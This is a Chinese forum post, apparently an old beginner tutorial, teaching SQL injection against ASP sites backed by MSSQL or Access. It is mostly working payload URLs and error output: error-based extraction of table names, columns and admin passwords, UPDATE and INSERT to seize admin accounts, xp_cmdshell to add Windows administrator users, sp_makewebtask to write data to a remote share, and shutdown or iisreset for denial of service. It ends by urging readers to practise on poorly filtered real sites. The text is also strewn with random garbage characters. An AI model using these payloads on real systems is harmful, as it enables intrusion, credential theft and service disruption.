[安全]菜鸟SQL注入详解

踏浪行歌

菜鸟SQL注入详解 0 L" E! J. ~% |1 h, T 网上有很多高手GG们写的利用SQL注入如何去黑网站的，偶看了，嘿嘿。 不过可能对于一些初学者而且，有点难。在这里，小林想把这个过时的 东东作一次全面的交待，尽量让没有编程基础的DDMM们很快的拿握这门技术。 $ B3 T+ w; r7 {3 ]利用SQL进行添加，更改，查看记录。 ' E8 M0 v) n5 [8 L1 r

当一台主机台开了80端口，当你手头没有任何黑客工具，那么，偶们有SQL。 % u- M5 c- [0 ^; U他不需要你其他东东，只要一个浏览器就够了。HOHO，偶的文章菜菜，偶写这 $ M9 Z4 \) v: ~/ n. P" ?7 V, g" ~篇文章只是为了让一些对SQL很陌生的菜菜们看的，老鸟绕道。。。

1，什么是SQL注入？

SQL注入，就是利用欺骗的方式，通过网页的查询功能，或查询命令注入。 7 f* I, p2 u7 f' Q$ T当用户来到网站，会提交一些数据，再到数据库进行查询，确定此用户的身份。 , V$ J3 _. E" M7 e5 z4 X) m/ j举个简单的例子来说吧，你去一个站点的论坛，那么，你会输入你的用户名和 & K( I; U' U4 x9 a; x6 {密码，点“确定”，网站会通过数据库的查询来判断你是不是他们的用户， 你的用户名和密码是否正确。而利用SQL注入，通过构造特殊的语句，来查找我 ' m% f! P5 J3 C6 ?: t们所想要得到的信息，如管理员的帐号密码。以下，小林用了http://xxx.xxx.com 来表示一个存在注入漏洞的网页。 3 g5 q6 ~1 D+ S3 P0 R

2 ^5 U( g" s0 l. o. \0 O: J+ N- A% _) e2，助手篇， 先把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。 6 |+ q4 K7 @7 O6 Z否则，不论服务器返回什么错误，我们都只能看到“HTTP500服务器错误”，不能获得更多的提示信息 # X8 t a7 n% ^8 s5 p+ j

。

3，哪些网页能利用？ 7 L4 [1 O# X" t- ? Z4 @1 k我们去找一些要提交数据的网页，如：登陆页面，查找页面，添加页面等 找到后，如果你注意过网页的源代码，那么，你会发现，他上面一般有一个如下的表单： 1 T9 s! B& \: A) F0 @

<FORMaction=login.aspmethod=post> ! K6 G, M6 r+ Z3 ?% L( X& v% B<input........ / b7 g9 i7 n( @ w</FORM>

这些网页，后缀如asp,jsp,cgi，php网页。 如：http://xxx.xxx.com/index.asp?id=10 8 A! k/ B( X& ]2 `0 E上面这个例子，就是ASP页后，看到他的ID还的值了吗？是10。一般，我们找的就是这些页面 & @& f9 W0 n& E' H7 c来练手了。（要做个好人噢。（^_^）像小林一样的好人。）

4，怎么测试它是存在注入漏洞的呢？这一步偶称它为“踩点”。 7 J5 Z5 m! a [& t, F小林有一个毛病，看什么网页，就要顺手在参数（如上面的10）上加一个小小的引号。 http://xxx.xxx.com/index.asp?id=10 返回错误信息： # c- ^) ~% V5 e2 n. A

MicrosoftOLEDBProviderforSQLServer错误80040e14

字符串之前有未闭合的引号。

/job/grxx.asp，行141

这就是说，他用的是MsSQL数据库。这个引号，导致引号未闭合的错误。本身就是错的，因为 9 U6 L% G" I. E0 ^+ P) x通常一个整数是不用在SQL里加引号的。

如果他不是一个整数而是字母呢？ , f4 T. ~0 u# x$ m( q

http://xxx.xxx.com/index.asp?user=lamb

那我们就把引号放到lamb中间，如lamb 呵呵，又出错了吧？ ! `5 g* A. W( |+ y7 k

这说明，站点这一部分的代码是大有问题的（当然，就算他有源码公布在网上，我也懒得看）

当然，我们也可以提交： http://xxx.xxx.com/index.asp?id=10;ANDcolumnaaa=5(注，这里的columnaaa是我乱写的) 出现错误信息：

MicrosoftOLEDBProviderforODBCDrivers错误80040e14 ) S9 X1 O6 H# i

[Microsoft][ODBCSQLServerDriver][SQLServer]Invalidcolumnnamecolumnaaa.

/job/grxx.asp，行27 这说明，这是一个SQL，里面没有columnaaa这个字段（我习惯说“列”）。

利用出错的信息，我们现在多少了解了这个站点的服务了吧？

5，现在开工啦，偶不喜欢猜测他的字段名，太浪费TIME了，我们要想办法让数据查询中出错。 " A; e7 K% h, b! m9 @ i要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUPBY或HAVING。如：

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- & F9 i- z9 j& J$ L _. v

出现错误信息： MicrosoftOLEDBProviderforODBCDrivers错误80040e14

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnarticle.newsidisinvalidinthe

selectlistbecauseitisnotcontainedinanaggregatefunctionandthereisnoGROUPBY & E p- I, c0 F1 h

clause.

/more.asp，行27

看到article.newsid了吗？说明有一个叫article.newsid的列，因为你在用HAVING，所以你必须还要用

上GROUPBY，于是黑客就重复错误提交，直到没有得到错误。 这里要说明一下：分号在这里分离，%20是空格，--表示后面是一个注释，也就是说只是说明，不能去

执行代码。(*_*)

下面是具体例子：

提交： http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- 得到article.newsid这真是好东西。 U% b' i' n, e* C5 k/ \提交： http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1-- 7 y Q4 r$ v- T# E; A, m得到错误信息： # r# ]7 M5 H0 u8 ~8 S1 iMicrosoftOLEDBProviderforODBCDrivers(0x80040E14)

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnarticle.titleisinvalidinthe 3 O$ W( U5 Y& o8 y! x3 t4 N

selectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBY

clause. 4 F. H5 x0 s4 @

/more.asp，line20 / s' g5 Z; O' {! j/ R

得到： article.title ) Q6 p) J# h6 G0 t6 E, X我们反复地一个一个加上来提交。 得到错误信息： # I/ R! @9 j$ D, wMicrosoftOLEDBProviderforODBCDrivers(0x80040E14)

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnadm.userNameisinvalidinthe & M9 Z7 U8 M/ v

selectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBY

clause.

/more.asp，line56

这里要注意了，都到哪儿了？到下一个表了。 现在我们知道这里至少有2个表，他们的别名是：adm和article，如里面article对应的是：newsid等

title ; L8 j. X4 @; g( ?% ~* S+ o

利用系统表：

下面，我们要确定表名来加入数据。 系统表是MS-SQL2000的一部分，名叫sysObjectstable，我们将要用到查询UNIONSELECT,。 5 Q; I/ L& m/ t8 z2 t7 V: B' J要从SysObjectstable有天地拿到表名，一般使用下面语句： ; c, f; ?+ U5 ]/ O/ M7 x7 qSELECTnameFROMsysObjectsWHERExtype=UU是指明定议USER的表。 黑客们已经知道了表里的列， 0 a% E6 [7 G# B! w" `. d" a3 P! e% J- _现在他们能在下面加一些数字。甚至如下面的：

在地址栏里打入：

http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT%; 201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U-- 记住，上面的，1-6数据中，6是我们想要的。不过有时候会出现数据类型错误，

http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT;TOP1TABLE_NAMEFROM

INFORMATION_SCHEMA.TABLES--

MSSQL服务将试图去转换一个string(nvarchar)到integer。那么就会出错： 2 W$ l+ `) H0 y

MicrosoftOLEDBProviderforODBCDriverserror80040e07 & f1 I# E7 U1 [5 r9 P* {8 K- q[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue F6 l2 ~ |$ w K+ {

table1toacolumnofdatatypeint. /index.asp,line5 9 ~7 Y$ y: |& A" y( ]) F- q

这个错误信息很“友好”地告诉我们string(nvarchar)值不能被转换成integer。 - C- @3 i8 v: C$ c" y0 G# M5 o这样，我们就获得了数据表的第一个表名！这个表名就是tabel1。

要获得第二个表名，我们继续，用以下查询： 0 Q# J4 E, r; w1 |2 B0 ghttp://xxx.xxx.com/job/grxx.asp?id=23%20UNION;SELECTTOP1TABLE_NAMEFROM ) S* S. z* H: Q' Q! I

INFORMATION_SCHEMA.TABLESWHERETABLE_NAMENOTIN(table1)-- $ q4 k- F+ t) l1 j5 g. [2 ?5 m! C

也可以用关键字查找数据： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1TABLE_NAMEFROM

INFORMATION_SCHEMA.TABLESWHERETABLE_NAMELIKE%25ADMIN%25-- : ~, V! v: h$ T1 Q现在错误信息： $ X! l& |5 s2 r4 g# V9 QMicrosoftOLEDBProviderforODBCDriverserror80040e07 % Z. C0 ?* s/ j% z0 D# C7 S7 U: B2 }[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

admin_logintoacolumnofdatatypeint. /index.asp,line5

寻找与之匹配的值，%25ADMIN%25在SQL服务器上将被认作%ADMIN%。这样，我们就能获得符合标 + N$ F, X0 Q# G4 V/ S- o0 s准的表名为"admin_login"的表了。 , _8 w/ K4 t+ o1 ?& D

那么，如何获得表里所有的列表？

我们能利用另一个有用的东东，INFORMATION_SCHEMA.COLUMNS出场！！！ http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_login-- ( X/ ], i7 m% h8 v

现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 / e# T5 u6 ?5 @* ^$ _; v* V[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue 8 b! ]" r& p% ~

u_idtoacolumnofdatatypeint. /index.asp,line6 看，我们有了第一个字段的名，我们用NOTIN()来获得下一个字段名： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM ; [/ u! b0 f7 D1 k5 w

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_loginWHERECOLUMN_NAMENOTIN

(u_id)-- 5 G- }% u6 Y0 R4 D# e; V现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 % k: c Z+ z+ }1 |7 t[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue 6 f* L. d/ S6 S* u

u_nametoacolumnofdatatypeint. # }' v" u$ c; l/index.asp,line5 & _3 q3 K7 Q& l$ A, N8 \我们继续，获得其他列表。如："password"等，因为我们获得下面错误信息： / ~: N% s/ P. lhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_loginWHERECOLUMN_NAMENOTIN + q Q$ G/ D4 b. u

(u_id,u_name,password,contents)-- 7 f7 ^8 h$ H! C. {( `* i8 j现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e14 [Microsoft][ODBCSQLServerDriver][SQLServer]ORDERBYitemsmustappearintheselect

listifthestatementcontainsaUNIONoperator. ' S8 y4 ?% N' `% Y+ L2 x+ Y& \/index.asp,line5 1 x* {1 G1 y3 v; s9 D9 c5 A6。2如何找到我们要找的重要数据呢？ $ b4 r# d. y. r6 P5 ^, }现在我们知道了表名，字段名，我们用相同的方法收集我们要的在数据库里的信息。 % k' |5 {( ]/ J# Z现在，我们从"admin_login"表里取得第一个u_name： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1u_nameFROMadmin_login-- ! S6 ^/ I" e; ]+ Y现在错误信息： ! l: o; t6 B) v9 r0 L! _9 w' M* o% @MicrosoftOLEDBProviderforODBCDriverserror80040e07 ! v4 \- p- s3 q8 H& S& S[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue 6 [: T, ] z @2 B6 _& Q0 R# |% [

adminroottoacolumnofdatatypeint. $ W1 {. }' }; W: O/index.asp,line5 : a$ i/ _) O# k# C

+ Q: Y; G, n/ T/ J我们知道，这里有登陆的用户名叫"adminroot"的管理员。最后，从数据库里获得"adminroot"的密码

： * c8 B" x$ L. |: g# ~2 {6 P5 khttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1passwordFROMadmin_loginwhere s, k2 @1 d7 p6 T2 u& H

u_name=adminroot-- 3 r5 u5 p P; p# T5 e! S7 N现在错误信息： ) f* Z( {3 v, O+ k6 WMicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue 9 v: y* b# w/ l7 o8 U

roottoacolumnofdatatypeint. 6 U8 j* E7 S# F3 [% X/index.asp,line5 " z3 @3 U& t7 Q1 Z$ p2 G7 n, t( Y我们现在能用户名"adminroot"密码："root"登陆了。

( P6 c7 z; l, y5 g) K如何取得数字的值？

以上技术描述有有一定的局限性。当我们试图转换文本组成有效的数字0-9我们不能得到任何错误。 * S. u! E6 q* S: J' r$ X* e让我们说说如何获得"tony"的密码，密码是"19840217": 3 T1 z4 D# y# @$ U! Khttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1passwordFROMadmin_loginwhere % J! X$ |) U- H6 b, B

u_name=tony-- 8 ?8 f% _5 Q. T- d我们很可能发现，该页无法显示的错误。这结果表示，密码"19840217"被修改到一个数了。在整 1 f% W# Z ]5 q2 L合一个整型(10也是)，因为这是一个有效的整合。所以SQL服务就不会给出错误的提示了。 5 ^$ [) `# y9 e1 \我们就得不到数字的登陆了。 $ F- s$ D: w2 _6 k9 j要解决这个问题，我们能附加一些字母来测试转换失败。我们用以下的测试来代替： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1convert(int,

password%2b%20lambgirl)FROMadmin_loginwhereu_name=tony-- $ N0 |7 c/ y, v4 |3 m4 p

我们简单地利用加号+设置密码数据文件的搜索路径。随便加一些。ASSCII码+=0x2b 8 O% p$ D; N0 f L" H" l8 I我们将添加空格在密码里。所以，如果把我们的密码是19840217。他将变成19840217lambgirl. + Y v6 W+ b( ^) [调出了转换了的函数。试着将19840217lambgirl转变成整型。SQL服务将出现ODBC错误： MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue : m d$ U' F" v: v8 d$ M

19840217lambgirltoacolumnofdatatypeint. ( w" {# _' X( v/ K7 E/index.asp,line5 ! B. ?1 A8 _- s0 v4 u现在，你就能用tony和密码：19840217lambgirl了。 N7 m4 j* k) ?8 h

如何在数据库修改，插入数据？ ( S( h$ {/ W# ~: P! ~ R/ u当我们成功地获得了表名，字段。就很容易在数据库里修改甚至插入新的数据。如更改"adminroot" 的密码，我们

http://xxx.xxx.com/job/grxx.asp?id=23;UPDATEadmin_loginSETpassword=newpas5WHERE 8 N* V; e, ]( `5 q# Y

u_name=adminroot--

要在数据表里插入新记录， " d% R1 I# h% q7 [; W. A/ I! F1 I

http://xxx.xxx.com/job/grxx.asp?id=23;INSERTINTOadmin_login(u_id,u_name,

password,contents)VALUES(123,xiaolin,pas,lambgirl)-- 现在，我们就能用xiaolinpas来登陆了。 , Z& H( h3 ~' |6 a

9 }9 H5 H/ @+ Z% z% ^如何远程执行SQL漏洞？

能进行SQL注入命令表明，我们能查任何我们想要查的。默认安装的的MSSQL服务 在系统中权限等于管理员。我们能利用执行存储过程像xp_cmdshell来执行远程破坏： ;execmaster..xp_cmdshellping192.168.0.2--

(如果单引号不能用，就换成双引号) 3 t" r! i* a* T+ a- p+ t

分号表示结束前面的SQL查询，从而允许你开始另一个新的SQL命令。 为了检验命令成功执行，你可以监听从192.168.0.2发出的的ICMP包。查看是否发出包。 ' k, d8 O; n4 f+ C3 B

#tcpdumpicmp ) c3 q4 I/ J# h, c& Y# H如果你没有接到PING主机的回应，得到一个错误的提示，权限错误，那么，很可能管理员 限制了WEB用户对xp_cmdshell等的权限。

如何找出MYSQL查询结果？ ; I5 P- V' i2 `6 u$ C, Q: x* x5 `这很容易用sp_makewebtask来把你查询的结果放到一个HTML里： ;EXECmaster..sp_makewebtask"\\192.168.0.2\share\girlxiaolin.html","SELECT*FROM

INFORMATION_SCHEMA.TABLES" 但是目标IP必须共享文件夹。 " |& H7 q' N+ O! y* u8 e

http://xxx.xxx.com/job/grxx.asp?id=23;;execmaster..xp_cmdshell“netusername password/add”--

xp_cmdshell用于调用系统命令，于是，用net命令新建了用户名为name、密码为password $ z. G+ Z- O u! ~的windows的帐号，接着： 9 S! l- _" S2 R; v; g2 a% f w* {. fhttp://xxx.xxx.com/job/grxx.asp?id=23;;execmaster..xp_cmdshell“netlocalgroupname

administrators/add”-- ! y8 \" _, O% V将新建的帐号name加入管理员组，不过这种方法只于用sa连接数据库的情况，否则，没有权限调用 5 y& u+ u$ e) d1 i3 n# v @( I. \0 [5 I

xp_cmdshell。 2 H% l. d8 x; f

其他方面，如利用SQL的命令填写： 将使SQL服务快速关闭 用户名:;shutdownwithnowait;-- ! J' y" y8 L9 s) t- H" y密码:不填

导致严重问题，网络故障。 用户名:;execmaster..xp_cmdshelliisreset;-- : p( B1 a9 ~: T+ K, ~密码：不填

关于ACCESS部分， & C, ^7 s) s6 y/ |5 t. s% `0 o

和ASSQL差不了多少，也是先在http://xxx.xxx.com/index.asp?id=10 - t6 A. v" ~# d2 q

出错的话，继续提交： & {; O5 f2 H ]6 Q# `7 N先测试是否有ADMIN表， http://xxx.xxx.com/index.asp?id=10and0<>(selectcount(*)fromadmin) ( ~. O8 V% a7 m3 f! C/ R

http://xxx.xxx.com/index.asp?id=10and1=(selectcount(*)fromadmin) 没有的话，就换一个名字，如user啊，什么的。再猜里面是否有username这个字段. & F1 _4 ^: C* o! k/ t$ {/ G

and1=(selectcount(*)fromadminwherelen(username)>0) 9 s/ U% c0 ~2 S$ e- |如果出错，同理，我们也可以给它换一个名字。 接下来我们猜用户的具体名字。 0 q' {, T3 e5 V+ k; ^! F' Gand1=(selectcount(*)fromadminwhereleft(username,1)=l) * |6 G6 l& t/ H$ \ \7 x8 u( K这时我们可以一个一个地来猜。 and1=(selectcount(*)fromadminwhereleft(username,2)=la) 接下来猜密码，猜密码的道理同猜用户名一样。 . |; G$ v; ? l( Q" S8 g" Jand1=(selectcount(*)fromadminwhereleft(password,1)=l) u* {8 T1 s$ m" h' `6 e* X/ k

好了，不写了，这篇文章小林写了好几天了，累死了，还是条理不清楚。 # u" S( L% n; D# N6 o- v T文章还有很多不全面的地方。还有一些专业术语，小林可能也有误，不过小菜们拿来看看还 : X3 y# d% s N0 g+ O5 M是行的啦。如果哪些写错了，请老鸟们加偶：165442496，告诉我错误，我会修正的。 8 e: o/ V; T4 i2 b n我试过了，很多用MsSQL站点过滤不完整的网上也很多。所以大家可以找来练练手。

[em09]